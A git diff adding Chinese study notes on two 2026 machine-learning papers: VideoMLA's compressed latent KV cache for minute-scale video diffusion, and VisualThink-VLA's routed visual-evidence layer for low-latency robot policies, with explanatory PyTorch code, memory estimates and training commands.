+设 hidden `d = n_h × d_h`（Wan：1536 = 12 × 128）。
+
+**稠密 MHA cache**（每层每 token）：
+
+```text
+存储: 对每个 head h，存 k_h ∈ R^{d_h} 和 v_h ∈ R^{d_h}
+体量: 2 · n_h · d_h = 3072 标量
+```
+
+**VideoMLA cache**（每层每 token）：
+
+```text
+存储: (c^{KV}, k^R)
+  c^{KV} ∈ R^{d_c}     — 共享内容潜变量（默认 d_c=192）
+  k^R   ∈ R^{d_h^rope} — 共享、未旋转的 3D 位置 key（默认 32）
+体量: d_c + d_h^rope = 224 标量  →  相对减少 92.7%
+```
+
+各 head 的 `k^{nope}_h`、`v_h` **不写入 cache**，用时由 `c^{KV}` 上投影重建。
+
+### 3. MLA 三分解：内容 latent + NoPE 子空间 + 解耦 3D-RoPE
+
+每个 head 维度拆成 `d_h = d_h^{nope} + d_h^{rope}`（默认 96 + 32）：
+
+| 分支 | 作用 | 是否进 cache |
+|------|------|--------------|
+| **Content / NoPE** | 画面语义、纹理、身份 | `c^{KV}` 进 cache；query 侧有 `c^Q` 但每步重算 |
+| **RoPE / 位置** | 时间 t、高 h、宽 w 的 3D 相位 | 存未旋转的 `k^R`；用时 `RoPE_3D(·)` |
+| **Value** | attention 加权后的输出通道 | 由 `c^{KV}` 重建，不单独 cache |
+
+**解耦 RoPE** 的关键：cache 里存的是**未旋转**的 `k^R`，旋转只在组装当前 attention 窗口时做。这样滑动窗口重索引时，内容 latent 与绝对 rollout 时间解耦，避免「位置写死在 cache 里」带来的漂移问题。
+
+3D-RoPE 通道按 Wan 习惯分给 (t, h, w) 轴，默认 **(6, 5, 5)** 个复数对，用高频 band。
+
+### 4. 注意力打分（训练时与稠密形式对齐）
+
+对 query 位置 `i`、cache 位置 `j`、head `h`：
+
+\[
+\text{score}^{(h)}_{i,j} = \frac{q_{i,h}^{\mathrm{nope}} \cdot k_{j,h}^{\mathrm{nope}} + q_{i,h}^{\mathrm{rope}} \cdot k_{j}^{\mathrm{rope}}}{\sqrt{d_h^{\mathrm{nope}} + d_h^{\mathrm{rope}}}}
+\]
+
+softmax 后对重建的 `v_{j,h}` 加权求和，再过 `W^O`。外层 chunk mask、sink token 与稠密 baseline **完全一致**——对训练管线是**即插即用**的 attention 替换。
+
+### 5. Rank budget vs 预训练谱（论文最反直觉的发现）
+
+定义组合算子：
+
+\[
+M = \begin{bmatrix} W^K_{\uparrow} W^{KV}_{\downarrow} \\ W^V_{\uparrow} W^{KV}_{\downarrow} \end{bmatrix}
+\]
+
+秩 **≤ d_c**（瓶颈约束）。实验显示：
+
+- 预训练 `[W_K; W_V]`：**不是**低秩（median 层在 `d_c=192` 只保留 45.8% 谱能量）
+- 训练后的 `M`：99% 能量秩 ≈ **0.98 · d_c**，从初始化就几乎吃满预算
+- **SVD 初始化 vs 随机初始化**：都饱和 rank budget；训练过程**不**进一步塌缩秩
+
+含义：VideoMLA 不是「恢复隐藏低秩结构」，而是「**强制模型在 d_c 维子空间里学会视频 attention 该记住什么**」。
+
+### 6. 与相关路线的对比
+
+| 方法 | 压缩什么 | 与 VideoMLA 关系 |
+|------|----------|------------------|
+| CausVid / Self-Forcing / Infinity-RoPE | 窗口内容、位置编码、蒸馏 | 保留稠密 per-head KV layout |
+| SCD | 只 cache 25 层 encoder，decoder 不 cache | 少 cache **层数**；同窗口下总 cache 仍比 VideoMLA 大 **11.4×** |
+| LongSANA | 线性 attention，常数大小累积状态 | 换掉 softmax attention 范式 |
+| VideoSSM | 滑动 KV + SSM 全局记忆 | 在窗口外再加记忆，不压 per-token KV 维度 |
+
+VideoMLA：**30 层全 cache**，但每层每 token **更瘦**。
+
+---
+
+## 代码示例 1：从 token 特征写入潜变量 KV cache
+
+下面用 PyTorch 风格伪代码展示 **Eq.(1)(2)(5)** 的核心数据流：一个 latent token `x_t` 如何变成 cache 条目，以及如何按需重建 per-head K/V。
+
+```python
+import torch
+import torch.nn as nn
+
+class VideoMLAAttention(nn.Module):
+    """简化版 VideoMLA 自注意力：展示 cache 写什么、attention 读什么。"""
+
+    def __init__(
+        self,
+        d: int = 1536,          # 模型维度
+        n_heads: int = 12,
+        d_c: int = 192,         # 共享 KV 内容潜变量维度
+        d_q: int = 768,         # query 潜变量（不进 cache）
+        d_rope: int = 32,       # 共享 3D-RoPE key 维度
+        d_nope: int = 96,       # 每 head NoPE 子空间
+    ):
+        super().__init__()
+        self.n_heads = n_heads
+        self.d_nope = d_nope
+        self.d_rope = d_rope
+
+        # 内容路径：joint KV 压缩 + per-head 展开
+        self.W_kv_down = nn.Linear(d, d_c, bias=False)          # W^{KV}_↓
+        self.W_k_up = nn.Linear(d_c, n_heads * d_nope, bias=False)
+        self.W_v_up = nn.Linear(d_c, n_heads * d_nope, bias=False)
+
+        # Query 路径（每步重算，不写 cache）
+        self.W_q_down = nn.Linear(d, d_q, bias=False)
+        self.W_q_up = nn.Linear(d_q, n_heads * d_nope, bias=False)
+        self.W_q_rope = nn.Linear(d_q, n_heads * d_rope, bias=False)
+
+        # 共享 decoupled 位置 key（进 cache 的是未旋转 k_R）
+        self.W_k_rope = nn.Linear(d, d_rope, bias=False)
+
+    def write_cache(self, x_t: torch.Tensor) -> tuple[torch.Tensor, torch.Tensor]:
+        """生成一个 token 的 cache 条目：(c_kv, k_R_unrotated)。"""
+        c_kv = self.W_kv_down(x_t)           # [d_c]
+        k_R = self.W_k_rope(x_t)             # [d_rope]，存盘前不 RoPE
+        return c_kv, k_R
+
+    def reconstruct_kv_heads(
+        self, c_kv: torch.Tensor
+    ) -> tuple[torch.Tensor, torch.Tensor]:
+        """从共享 latent 重建各 head 的 NoPE key 与 value。"""
+        k_nope = self.W_k_up(c_kv).view(self.n_heads, self.d_nope)
+        v = self.W_v_up(c_kv).view(self.n_heads, self.d_nope)
+        return k_nope, v
+
+    def forward_step(
+        self,
+        x_t: torch.Tensor,
+        cache_c: torch.Tensor,    # [T, d_c]
+        cache_kR: torch.Tensor,   # [T, d_rope]
+        rope_3d,                  # RoPE_3D(pos) 函数
+    ) -> torch.Tensor:
+        T = cache_c.size(0)
+        c_q = self.W_q_down(x_t)
+        q_nope = self.W_q_up(c_q).view(self.n_heads, self.d_nope)
+        q_rope = rope_3d(self.W_q_rope(c_q).view(self.n_heads, self.d_rope))
+
+        scores = []
+        for j in range(T):
+            k_nope_j, v_j = self.reconstruct_kv_heads(cache_c[j])
+            k_rope_j = rope_3d(cache_kR[j])  # 用时再旋转
+            s = (
+                (q_nope * k_nope_j).sum(-1)
+                + (q_rope * k_rope_j).sum(-1)
+            ) / (self.d_nope + self.d_rope) ** 0.5
+            scores.append(s)
+        attn = torch.softmax(torch.stack(scores, dim=-1), dim=-1)
+        # ... 对 v_j 加权聚合，省略 output projection
+        return attn
+```
+
+**读代码时抓住三点**：
+
+1. `write_cache` 只返回 **224 维**（192+32），不是 3072 维；
+2. `k_R` **存的时候不旋转**，与 `c^{KV}` 一样与绝对帧号解耦；
+3. 各 head 的 K/V 是 **读 cache 时现算** 的，训练框架仍看到标准 multi-head 形状。
+
+---
+
+## 代码示例 2：估算 KV 显存与 batch 上限
+
+部署时常问：换 VideoMLA 后，**同样 21 latent 帧窗口、30 层**，能省多少显存？batch 能开多大？
+
+```python
+def kv_cache_gib(
+    *,
+    n_layers: int,
+    window_tokens: int,      # 滑动窗口内 token 数 W
+    n_heads: int = 12,
+    d_head: int = 128,
+    d_c: int = 192,
+    d_rope: int = 32,
+    bytes_per_scalar: int = 2,  # bf16/fp16
+    batch: int = 1,
+    mla: bool = True,
+) -> float:
+  """返回 KV cache 占用（GiB）。"""
+  if mla:
+    scalars_per_token_layer = d_c + d_rope          # 224
+  else:
+    scalars_per_token_layer = 2 * n_heads * d_head  # 3072
+
+  total_scalars = (
+      batch
+      * n_layers
+      * window_tokens
+      * scalars_per_token_layer
+  )
+  return total_scalars * bytes_per_scalar / (1024**3)
+
+
+# Wan-1.3B 论文默认几何：21 latent 帧 × 1560 token/帧
+W = 21 * 1560
+L = 30
+
+dense_gib = kv_cache_gib(window_tokens=W, mla=False, batch=1)
+mla_gib = kv_cache_gib(window_tokens=W, mla=True, d_c=192, batch=1)
+
+print(f"Dense MHA KV: {dense_gib:.2f} GiB / request")
+print(f"VideoMLA KV:  {mla_gib:.2f} GiB / request")
+print(f"Reduction:    {(1 - mla_gib/dense_gib)*100:.1f}%")
+# 约 6.0 GiB → 0.44 GiB，与论文「6.0GB dense、92.7% 每 token 每层」一致
+
+# 论文 Fig.7：固定 B200 显存，dense 在 B≈28 OOM；d_c=192 约 8× headroom
+def max_batch_before_oom(budget_gib: float, per_batch_gib: float) -> int:
+    return int(budget_gib // per_batch_gib)
+
+BUDGET = 80.0  # 示意：单卡可用于 KV 的 GiB 上限（非精确 B200 数字）
+per_b_dense = kv_cache_gib(window_tokens=W, mla=False, batch=1)
+per_b_mla = kv_cache_gib(window_tokens=W, mla=True, batch=1)
+print("Max batch (illustrative):",
+      max_batch_before_oom(BUDGET, per_b_dense),
+      "→",
+      max_batch_before_oom(BUDGET, per_b_mla))
+```
+
+这段算术解释了两个工程结论：
+
+- **每请求 KV 斜率**：dense 约 **6.26 GB/batch** → MLA `d_c=192` 约 **0.78 GB/batch**（论文报告 0.57–1.43 GB/batch 区间，随 `d_c` 变化）；
+- **同样显存预算下更大 batch** → 更高吞吐、更低单视频延迟——Table 3 中 VideoMLA **23.96 FPS** 部分来自这里，不只是算子更快。
+
+`d_c` 是显式旋钮：Fig.7 显示 `d_c=64` 可把 OOM 推到 **B=320**，但过小会损细节；默认 **192** 是质量–效率折中。
+
+---
+
+## 训练与实现要点
+
+| 项目 | 设置 |
+|------|------|
+| 基底 | Wan-2.1 T2V-1.3B，**仅替换 self-attention** |
+| 默认维度 | `d_c=192`, `d_q=768`, `d_h^{nope}=96`, `d_h^{rope}=32` |
+| 训练阶段 | Teacher Forcing → Consistency Distillation（4 步）→ DMD（Causal Forcing 管线） |
+| 学习率 | TF: 5e-6；CD/DMD: 2e-6 |
+| 硬件 | 8× B200，bf16 |
+| 数据 | Consistency 阶段 47,680 视频（OpenVid-1M + 合成） |
+| 初始化 | SVD 或随机均可；论文强调二者都**吃满 rank budget** |
+
+推理时可做 **reparameterization**：把 content 相关投影吸收进预计算矩阵，使 `q^{nope} · k^{nope}` 形如 `c_q^T A_h c_kv`，避免显式物化稠密 per-head K/V——这是 MLA 在大模型 serving 里的标准技巧，VideoMLA 沿用到视频扩散。
+
+---
+
+## 实验结果速览
+
+### 长 horizon（VBench，30s / 60s）
+
+VideoMLA 亮点：
+
+- **Dynamic Degree**：30s **0.981**、60s **0.958**（压缩 KV 没有「把视频生成静了」）
+- **Imaging Quality / Motion Smoothness**：领先或并列最佳
+- **60s Overall 0.859**：高于 Reward Forcing、Infinity-RoPE、LongLive、LongSANA 等
+- **用户研究 Overall 3.17**（PA/TC/DC 均优）
+
+LongSANA 虽吞吐接近，但 DD 极低（运动几乎静止），CLIP-F 高 partly 因为「帧间太像」。
+
+### 短片段 T2V（Table 3）
+
+| 模型 | 吞吐 FPS↑ | 延迟 s↓ | CLIP-T↑ | HPSv3↑ |
+|------|-----------|---------|---------|--------|
+| Self-Forcing 1.3B | 18.06 | 4.19 | 0.3036 | 9.86 |
+| LongSANA 2B | 19.35 | 4.48 | 0.2978 | 7.54 |
+| **VideoMLA 1.3B** | **23.96** | **3.38** | **0.3278** | **9.74** |
+
+---
+
+## 局限与开放问题
+
+1. **`d_c` 不能无限小**：`d_c=64` 省显存但丢细节；需在 latent budget 上扫 Pareto 前沿。
+2. **实验规模**：主要验证 Wan-1.3B、832×480、分钟级；更大模型、更高分辨率、prompt 切换、更长 rollout 待扩展。
+3. **与窗口策略正交**：Infinity-RoPE、sink、MemRoPE 等可与 VideoMLA **叠乘**——论文定位是补上「per-token layout」这一长期被忽视的杠杆。
+4. **谱直觉失效**：不能把「视频 attention 低秩」当先验；调参应围绕 **rank budget 是否够表达运动与身份**。
+
+---
+
+## 与知识图谱的衔接
+
+读 VideoMLA 时，建议搭配本仓库这些笔记：
+
+- [PagedAttention 与 vLLM](./paged-attention-vllm.md) — KV cache 作为 serving 显存瓶颈的 OS 式分页视角
+- [FlashAttention](./flash-attention.md) — attention 算子 IO 优化；VideoMLA 改的是 **cache 里存什么**
+- [Speculative Decoding (Leviathan)](./speculative-decoding-leviathan-2023.md) — 另一条推理加速轴，可与更小 KV 叠加
+- DeepSeek MLA 原论文（DeepSeek-V2, arXiv:2405.04434）— 语言模型侧的 latent attention 鼻祖
+
+概念链：
+
+```text
+因果视频扩散（CausVid / Self-Forcing / Causal Forcing）
+    → 滑动窗口 KV（token 数有界，但 per-head 仍胖）
+        → VideoMLA：MLA 式 (c^{KV}, k^R) 替换稠密 K/V
+            → rank budget 解释 + 3D 解耦 RoPE
+                → 分钟级 rollout、更高 batch、1.23× 吞吐
+```
+
+---
+
+## 自测题
+
+1. Wan-1.3B 稠密 KV 每个 token 每层多少标量？VideoMLA 默认多少？压缩比例？
+2. 为什么 cache 存**未旋转**的 `k^R`？旋转何时发生？
+3. 预训练 `[W_K; W_V]` 低秩吗？VideoMLA 为何仍有效？
+4. VideoMLA 与 SCD、LongSANA 的压缩维度有何不同？
+5. `d_c` 变大/变小分别影响什么？
+
+<details>
+<summary>参考答案</summary>
+
+1. 稠密：`2×12×128=3072`；VideoMLA：`192+32=224`；约 **92.7%** 减少（也可说 cache 为原来的 **1/13.7**）。
+2. 未旋转状态与滑动窗口重索引兼容，避免绝对时间 baked into cache；组装 attention 窗口时对 `k^R` 做 `RoPE_3D`。
+3. **不低秩**（99% 能量秩 >1300）；有效秩由瓶颈 `d_c` 约束，训练在预算内适应，而非恢复预训练低秩结构。
+4. SCD：**少 cache 层**；LongSANA：**换线性 attention**、常数记忆；VideoMLA：**每层都 cache**，但 **per-token 更瘦**。
+5. `d_c`↑：质量↑、显存↑、batch↓；`d_c`↓：相反，过小损细节（如 `d_c=64`）。
+
+</details>
+
+---
+
+## 引用
+
+```bibtex
+@article{yesiltepe2026videomla,
+  title={VideoMLA: Low-Rank Latent KV Cache for Minute-Scale Autoregressive Video Diffusion},
+  author={Yesiltepe, Hidir and Hu, Jiazhen and Meral, Tuna Han Salih and Akan, Adil Kaan and Oktay, Kaan and Eldardiry, Hoda and Yanardag, Pinar},
+  journal={arXiv preprint arXiv:2605.30351},
+  year={2026}
+}
+```
+
+---
+
+## 一句话带走
+
+**VideoMLA 把分钟级因果视频扩散的 KV cache 从「12 个头各一本厚档案」改成「一张共享内容便签 + 一条共享 3D 坐标」，在预训练 attention 并不低秩的前提下，用架构 rank budget 学会该记住什么——显存降一个数量级，长视频质量反而更稳。**
diff --git a/src/content/docs/papers/visualthink-vla.md b/src/content/docs/papers/visualthink-vla.md
new file mode 100644
index 000000000..972734132
--- /dev/null
+++ b/src/content/docs/papers/visualthink-vla.md
@@ -0,0 +1,351 @@
+---
+title: VisualThink-VLA — 用「视觉中间推理」做低延迟的机器人策略
+来源: 'Mingjian Gao et al., "VisualThink-VLA: Visual Intermediate Reasoning for Effective and Low-Latency Vision-Language-Action Policies", arXiv:2605.30011, 2026; https://arxiv.org/abs/2605.30011; https://github.com/DCDmllm/VisualThink-VLA'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：开车导航，该「念出来」还是「看标注」？
+
+想象你在陌生城市开车，手机导航有两种模式：
+
+- **语音长篇解说（文本 Chain-of-Thought）**：每到一个路口，导航先念 30 秒——「前方 200 米有红绿灯，左侧是便利店，右侧车道有公交车……请向右转」。信息很多，但**嘴上说出来的文字**和**你眼睛看到的道路**并不完全对齐；更糟的是，等它念完，绿灯可能已经变了。对机器人来说，这就是 **ECoT 类方法**：先自回归生成一大段文字推理，再预测动作——**精度可能提升，单步延迟却到数秒**。
+- **HUD 上的高亮标注（Visual Intermediate Reasoning）**：导航只在挡风玻璃投影**当前决策真正需要的图层**——要并线时高亮**车道线（edge）**，要找出口时框出**目标路牌（bbox）**，复杂立交时显示**与前车的相对位置（relation）**。图层是**图像空间**的，不占语音通道；而且**只开需要的层**，不会把深度图、分割 mask 全堆上来拖慢渲染。
+
+**VisualThink-VLA** 走第二条路：让 **Vision-Language-Action（VLA）策略**在输出关节动作之前，先经过一层**紧凑的视觉证据（visual evidence）**，由**任务自适应路由器**决定「这一步该看 bbox 还是 edge」，再把这些证据编码成 **learned soft states** 注入冻结的 VLA 骨干，**不生成文字、不逐 token 解码**。
+
+论文在 BridgeData V2 上把逐步延迟从 ECoT 的 **8.377 s** 降到 **0.367 s**（约 **22.8×** 加速），同时成功率还更高——说明「想得对」和「想得快」可以兼得，关键在**接口设计**，不在堆更多文本。
+
+---
+
+## 是什么
+
+**VisualThink-VLA** 是浙江大学、Cornell、NUS 等团队 2026 年提出的 **VLA 视觉中间推理框架**。它不改变 OpenVLA 等基座权重（**frozen backbone**），而是在外面加：
+
+1. **六通道候选证据库** → 筛掉低收益通道后，默认用 **四通道**（`bbox`, `edge`, `motion`, `relation`）；
+2. **Task-Adaptive Router**：每步预测该开哪些通道；
+3. **Visual State Composer**：把路由后的证据向量投影成少量 **visual states**，再喂给动作解码器；
+4. **VisualEvidence-Kit**：用 **VisualEvidence-Agent** 从机器人轨迹构造 **754.7k** 条带路由标签的 **VisualEvidence-Set**，用于监督与反事实忠实度审计。
+
+官方代码仓库：`https://github.com/DCDmllm/VisualThink-VLA`
+
+---
+
+## 为什么重要
+
+### 1. 具身控制的时间预算极紧
+
+机械臂控制频率常见 5–20 Hz。若每步推理要 **6–8 秒**（ECoT 量级），闭环等于「走一步停几秒」——物体滑动、人类介入、安全联锁都会让策略失效。**亚秒级**（sub-second）是能否上真机的分水岭。
+
+### 2. 文本 CoT 与空间决策天然错位
+
+「把红碗放到盘子左边」需要毫米级空间关系；用自然语言中间步描述，容易**丢失几何精度**，无关文字还会**干扰**动作 token 分布（论文引用 textual CoT 在 embodied 场景中的 grounding 弱问题）。
+
+### 3. 「更多辅助信息」≠ 更好
+
+TraceVLA、SpatialVLA 等证明视觉/空间线索有用，但若**六路感知全开**，冗余通道会与任务关键证据**竞争**，噪声感知还会传播冲突信号。VisualThink-VLA 的核心论点是：**稀疏、可路由**的视觉接口优于 dense always-on 或 long text trace。
+
+### 4. 可插拔、可审计
+
+同一套证据层可接到 **OpenVLA、Octo、SmolVLA** 等不同骨干（论文 Table 3 均见成功率提升）。VisualEvidence-Set 还带 **route target** 与反事实 utility，能检查「策略是否真的用了它声称的证据通道」——比自由格式 rationale 更适合工程治理。
+
+---
+
+## 核心概念
+
+### 1. VLA 与「中间推理」
+
+| 组件 | 含义 |
+|------|------|
+| **VLA** | 输入 RGB + 语言指令，输出机器人动作（关节增量、末端位姿等）的多模态策略，代表工作含 OpenVLA、Octo、π₀ |
+| **中间推理** | 在最终动作之前插入额外计算，帮助 grounding、消歧、长程规划 |
+| **VisualThink-VLA 的定位** | 中间推理 = **路由后的视觉证据 token**，不是 autoregressive 文本 |
+
+数据流（概念）：
+
+```
+x_{t-1}, x_t, q  →  证据提取 g_c(·)  →  E_t^op  →  Router r_φ  →  mask m_t
+                                                      ↓
+                                            Visual State Composer h_ψ
+                                                      ↓
+                              a_t = f_θ(x_t, q, S_t)   （θ 冻结）
+```
+
+### 2. 六通道候选 vs 四通道运行
+
+**候选集** \(\mathcal{C}_{\mathrm{cand}} = \{\texttt{bbox}, \texttt{edge}, \texttt{motion}, \texttt{relation}, \texttt{depth}, \texttt{segment}\}\)
+
+| 通道 | 直觉 | 典型后端（论文/代码） |
+|------|------|------------------------|
+| **bbox** | 目标在哪 | Grounding DINO、OWL-ViT |
+| **edge** | 边界/接触几何 | 边缘检测、SAM2 轮廓 |
+| **motion** | 短时运动变化 | 帧差、光流类特征 |
+| **relation** | 指令-grounded 空间关系 | Qwen2.5-VL 等 VLM |
+| **depth** | 单目深度 | 深度估计模型 |
+| **segment** | 实例区域 | SAM2 分割 |
+
+**Channel screening** 发现 `depth`、`segment` 在 benchmark 上 rarely selected、边际收益小、还增加感知开销，故**默认运行集**为四通道 \(\mathcal{C}_{\mathrm{op}}\)。代码里仍可提取 depth/segment 做诊断，但不进默认部署接口。
+
+### 3. Task-Adaptive Router（稀疏路由）
+
+路由器输出软概率 \(m_t^{\mathrm{soft}} = r_\phi(x_{t-1}, x_t, q, \mathcal{E}_t^{\mathrm{op}})\)，再硬化为 \(m_t^{\mathrm{hard}} \in \{0,1\}^{|\mathcal{C}_{\mathrm{op}}|}\)。推理时**只激活被选中的通道**，这是主要加速机制：四路「可用」，但解码器**只看到** routed subset。
+
+训练时用 **soft-hard 混合** \(\bar{m}_t = (1-\alpha)m_t^{\mathrm{hard}} + \alpha m_t^{\mathrm{soft}}\)（\(\alpha=0.35\)）稳定优化；推理时只用 hard mask。
+
+### 4. FullSoft 教师与蒸馏
+
+- **FullSoft**：四通道**全开**的 dense teacher，route mask 恒为 1；
+- **VisualThink-VLA**：sparse student，从 FullSoft **logits 蒸馏**（\(\lambda_{\mathrm{distill}}=0.2\), \(\tau=1.5\)）；
+- 目标：student 保留 dense 教师的大部分能力，但**更少通道、更低延迟**。
+
+### 5. VisualEvidence-Kit
+
+**VisualEvidence-Agent** 四阶段流水线：
+
+1. **Evidence extraction**：对决策上下文跑各通道提取器，得到 feature manifest；
+2. **Route & utility assessment**：聚合路由信号与**反事实 channel utility**，形成监督标签 \(r_t\)；
+3. **Trace construction**：记录 manipulation stage、primitive、难度、依赖哪些证据（结构化 trace，非自由文本）；
+4. **Human review**：过滤不一致标签。
+
+数据集分层：**Full-Clean**（统计/加权训练）、**HQ-Trace**（可靠 trace 微调）、**Gold-Faithfulness**（754.7k，反事实审计）。
+
+训练时辅助头预测 \(\hat{r}_t\) 并与 \(r_t\) 做 BCE；**推理时不跑 Agent、不读 trace**。
+
+### 6. 与相关方法的对比（Table 1 精神）
+
+| 方法 | 中间推理形态 | 延迟量级 | 主要痛点 |
+|------|--------------|----------|----------|
+| **OpenVLA** | 无 | ~0.34 s | 无显式推理，难消歧 |
+| **ECoT** | 文本 CoT | ~6–8 s | 自回归解码慢、视觉 grounding 弱 |
+| **TraceVLA** | 运动轨迹类视觉 | ~0.40 s | 通道单一 |
+| **SpatialVLA** | 空间/深度 | ~0.48–0.59 s | 通道较 fixed |
+| **VisualThink-VLA** | **路由视觉 soft tokens** | **~0.35–0.45 s** | 需预提取证据 + 训练 router/adapter |
+
+---
+
+## 代码示例 1：用 PyTorch 理解「路由 + Visual State Composer」（教学简化版）
+
+下面不是官方源码逐行复制，而是把论文公式 (5)–(9) 压成可读的最小模块，帮助零基础建立「证据向量 → mask → soft states → 动作」的心智模型：
+
+```python
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+
+CHANNELS = ["bbox", "edge", "motion", "relation"]  # C_op
+
+
+class EvidenceRouter(nn.Module):
+    """r_phi: 预测每通道是否该在本步启用"""
+
+    def __init__(self, evidence_dim: int, hidden: int = 256):
+        super().__init__()
+        self.net = nn.Sequential(
+            nn.Linear(evidence_dim * len(CHANNELS), hidden),
+            nn.ReLU(),
+            nn.Linear(hidden, len(CHANNELS)),
+        )
+
+    def forward(self, evidence_bank: torch.Tensor) -> torch.Tensor:
+        # evidence_bank: [B, num_channels, evidence_dim]
+        flat = evidence_bank.flatten(start_dim=1)
+        return torch.sigmoid(self.net(flat))  # m_soft in [0, 1]^4
+
+
+def harden_route(m_soft: torch.Tensor, threshold: float = 0.5) -> torch.Tensor:
+    """推理时用 hard mask；训练时可与 soft 混合"""
+    return (m_soft >= threshold).float()
+
+
+class VisualStateComposer(nn.Module):
+    """h_psi: 把 routed evidence 压成 K 个 visual states"""
+
+    def __init__(self, evidence_dim: int, num_states: int = 8, state_dim: int = 512):
+        super().__init__()
+        self.proj = nn.Linear(evidence_dim, state_dim)
+        self.num_states = num_states
+        self.state_dim = state_dim
+
+    def forward(self, evidence_bank: torch.Tensor, route_mask: torch.Tensor) -> torch.Tensor:
+        # route_mask: [B, num_channels]
+        routed = evidence_bank * route_mask.unsqueeze(-1)
+        pooled = routed.sum(dim=1) / route_mask.sum(dim=1, keepdim=True).clamp(min=1.0)
+        base = self.proj(pooled)  # [B, state_dim]
+        # 复制/展开成 K 个 soft states（实现细节因骨干而异）
+        return base.unsqueeze(1).expand(-1, self.num_states, -1)
+
+
+class VisualThinkVLAPolicy(nn.Module):
+    """冻结 VLA + 外挂证据通路（示意）"""
+
+    def __init__(self, frozen_vla: nn.Module, evidence_dim: int):
+        super().__init__()
+        self.vla = frozen_vla
+        for p in self.vla.parameters():
+            p.requires_grad = False
+        self.router = EvidenceRouter(evidence_dim)
+        self.composer = VisualStateComposer(evidence_dim)
+
+    def forward(
+        self,
+        rgb: torch.Tensor,
+        instruction_tokens: torch.Tensor,
+        evidence_bank: torch.Tensor,
+        alpha_soft: float = 0.0,
+    ) -> torch.Tensor:
+        m_soft = self.router(evidence_bank)
+        m_hard = harden_route(m_soft)
+        route = (1 - alpha_soft) * m_hard + alpha_soft * m_soft  # 训练时可 alpha_soft=0.35
+        visual_states = self.composer(evidence_bank, route)
+        # 真实 OpenVLA 会把 S_t cross-attn / prefix 注入；这里用占位接口
+        return self.vla.predict_action(rgb, instruction_tokens, visual_states=visual_states)
+```
+
+**读代码时的三个锚点**：
+
+1. `evidence_bank` 是**小向量**，不是整张 feature map——所以比「再跑一套大 segmentation 进 LLM」轻；
+2. `route_mask` 决定**本步开哪些通道**——对应「HUD 只亮必要图层」；
+3. `frozen_vla` 不更新——VisualThink 训练的是 router + composer（+ 少量 adapter），部署风险可控。
+
+---
+
+## 代码示例 2：官方仓库 Quick Start（证据提取 → 路由 → 适配器训练）
+
+以下命令来自官方 README，展示完整 research pipeline 的 shell 入口（路径需按本机 checkpoint 修改）：
+
+```bash
+# 1) 单帧提取四通道视觉证据
+python scripts/extract_visual_evidence.py \
+  --image_path path/to/current.png \
+  --prev_image_path path/to/previous.png \
+  --instruction "pick up the red bowl" \
+  --output_dir outputs/evidence_one
+
+# 2) 用 feature manifest 训练证据路由器
+python scripts/train_evidence_router.py \
+  --feature_manifest outputs/features/feature_manifest.jsonl \
+  --config configs/evidence_router.yaml \
+  --output_dir outputs/router
+
+# 3) 先训 dense 教师 FullSoft，再训稀疏 VisualThink-VLA（带蒸馏）
+python scripts/train_visualthink_adapter.py \
+  --mode full \
+  --feature_manifest outputs/features/feature_manifest.jsonl \
+  --model_path path/to/openvla \
+  --config configs/visualthink_adapter.yaml \
+  --output_dir outputs/fullsoft
+
+python scripts/train_visualthink_adapter.py \
+  --mode visualthink \
+  --feature_manifest outputs/features/feature_manifest.jsonl \
+  --model_path path/to/openvla \
+  --config configs/visualthink_adapter.yaml \
+  --gate_checkpoint_dir outputs/router \
+  --teacher_adapter_dir outputs/fullsoft \
+  --output_dir outputs/visualthink
+```
+
+**工程上要注意**：仓库**不包含** OpenVLA 权重、SAM2、原始 robot dataset；`.gitignore` 默认忽略大资产。典型流程是**离线 batch 提取证据** → 训 router → 训 adapter → LIBERO/真机 closed-loop eval。
+
+---
+
+## 实验结果速览
+
+### 主表（Table 2 摘要）
+
+| 方法 | BridgeData V2 成功率 | BridgeData V2 逐步延迟 |
+|------|---------------------|------------------------|
+| ECoT | 85.09% | **8.377 s** |
+| BaseVLA（OpenVLA 重评） | 75.37% | 0.345 s |
+| FullSoft | 88.45% | 0.447 s |
+| **VisualThink-VLA** | **89.49%** | **0.367 s** |
+
+LIBERO 系列与 UT Austin MUTEX 上，VisualThink-VLA 与 FullSoft 成功率接近，但**八项 benchmark 平均延迟更低**（0.395 s vs 0.470 s）。
+
+### 内部接口对比（Table 4 信息）
+
+- **Prompt-text evidence**：成功率尚可，平均延迟 **~1.43 s**（文本解码拖累）；
+- **Heavy dense（六通道全开）**：延迟高、平均成功率反而低于稀疏版；
+- **VisualThink-VLA（routed soft tokens）**：在平均成功率上略超 FullSoft，同时更快。
+
+### 骨干可移植性（Table 3）
+
+VisualEvidence-Set 测试划分上，挂 VisualThink 层后：OpenVLA **+16.37%**、Octo **+10.87%**、SmolVLA **+11.95%** 成功率，延迟仅 **+0.05–0.10 s** 量级。
+
+### 真机
+
+七自由度 **PIPER NERO** 臂 + 固定外参 RGB；任务含多物体 pick-place、关系敏感放置、接触重定向、两阶段组合操作。指标除成功率外还有 **avg_completion_time_s** 与 route-grounded audit score。
+
+---
+
+## 路由行为直觉（Qualitative）
+
+论文与 README 强调：**不同 manipulation 阶段激活不同通道**——
+
+- **relation**：姿态敏感、语言指定空间关系（「放到左边」「在马克杯后面」）；
+- **edge**：接触、插入、对齐边缘；
+- **bbox**：目标定位、抓取approach；
+- **motion**：动态场景、刚发生位移的物体。
+
+这像导航 HUD：**路口类型不同，亮不同图层**，而不是永远六图层全开。
+
+---
+
+## 损失函数与训练目标（公式级速记）
+
+| 符号 | 含义 |
+|------|------|
+| \(\mathcal{L}_{\mathrm{action}}\) | 与演示动作的标准 VLA 监督 |
+| KL 蒸馏项 | 对齐 FullSoft 教师的动作 token 分布 |
+| \(\mathcal{L}_{\mathrm{BCE}}(\hat{r}_t, r_t)\) | 路由头对齐 VisualEvidence-Set 标签 |
+| \(\mathcal{L}_{\mathrm{total}}\) | 上述之和，\(\lambda_{\mathrm{trace}}\) 加权 trace 监督 |
+
+推理阶段：**只用** student 自己的 router + composer，**不**读取 \(r_t\)、不跑 VisualEvidence-Agent。
+
+---
+
+## 优势与局限
+
+### 优势
+
+- **延迟**：把 reasoning-augmented VLA 拉回 **sub-second**，接近纯 BaseVLA；
+- **精度**：多数 benchmark 上优于或持平 ECoT / dense 变体；
+- **模块化**：冻结骨干，证据与路由可单独迭代；
